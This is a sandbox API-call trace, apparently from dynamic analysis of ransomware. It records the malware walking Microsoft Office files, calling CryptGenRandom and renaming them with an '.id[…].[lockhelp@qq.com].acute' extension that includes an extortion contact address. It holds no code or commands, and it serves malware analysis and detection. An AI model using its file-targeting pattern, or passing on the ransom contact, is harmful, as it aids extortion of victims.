GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x20 [0275.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.084] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.084] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2472) returned 1 [0275.084] CloseHandle (hObject=0x308) returned 1 [0275.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x20 [0275.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.085] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.085] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2232) returned 1 [0275.085] CloseHandle (hObject=0x308) returned 1 [0275.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x20 [0275.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.086] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.086] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1026) returned 1 [0275.086] CloseHandle (hObject=0x308) returned 1 [0275.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x20 [0275.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.086] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.086] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3286) returned 1 [0275.086] CloseHandle (hObject=0x308) returned 1 [0275.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x20 [0275.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.087] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.087] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1960) returned 1 [0275.087] CloseHandle (hObject=0x308) returned 1 [0275.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x20 [0275.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.087] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.088] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3662) returned 1 [0275.088] CloseHandle (hObject=0x308) returned 1 [0275.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x20 [0275.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.088] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.088] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3016) returned 1 [0275.088] CloseHandle (hObject=0x308) returned 1 [0275.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x20 [0275.088] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.089] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0275.089] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1528) returned 1 [0275.089] CloseHandle (hObject=0x308) returned 1 [0275.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x20 [0275.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.089] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.135] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3298) returned 1 [0275.135] CloseHandle (hObject=0x37c) returned 1 [0275.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x20 [0275.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.135] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.136] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=15680) returned 1 [0275.136] CloseHandle (hObject=0x37c) returned 1 [0275.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf")) returned 0x20 [0275.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.136] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.136] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=21268) returned 1 [0275.136] CloseHandle (hObject=0x37c) returned 1 [0275.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf")) returned 0x20 [0275.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.138] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.138] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=46936) returned 1 [0275.138] CloseHandle (hObject=0x37c) returned 1 [0275.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf")) returned 0x20 [0275.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.139] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0275.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.194] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=15760) returned 1 [0275.194] CloseHandle (hObject=0x37c) returned 1 [0275.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf")) returned 0x20 [0275.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.714] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0275.714] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx")) returned 0 [0276.434] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.434] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde")) returned 0 [0276.434] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.434] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzmain.accde")) returned 0 [0276.434] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.434] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde")) returned 0 [0276.449] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.451] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC" (normalized: "c:\\program files\\microsoft office\\office14\\advcmp.dic")) returned 0 [0276.611] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\built-in building blocks.dotx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\14\\built-in building blocks.dotx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.611] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\Built-In Building Blocks.dotx.id[9C354B42-1096].[lockhelp@qq.com].acute" 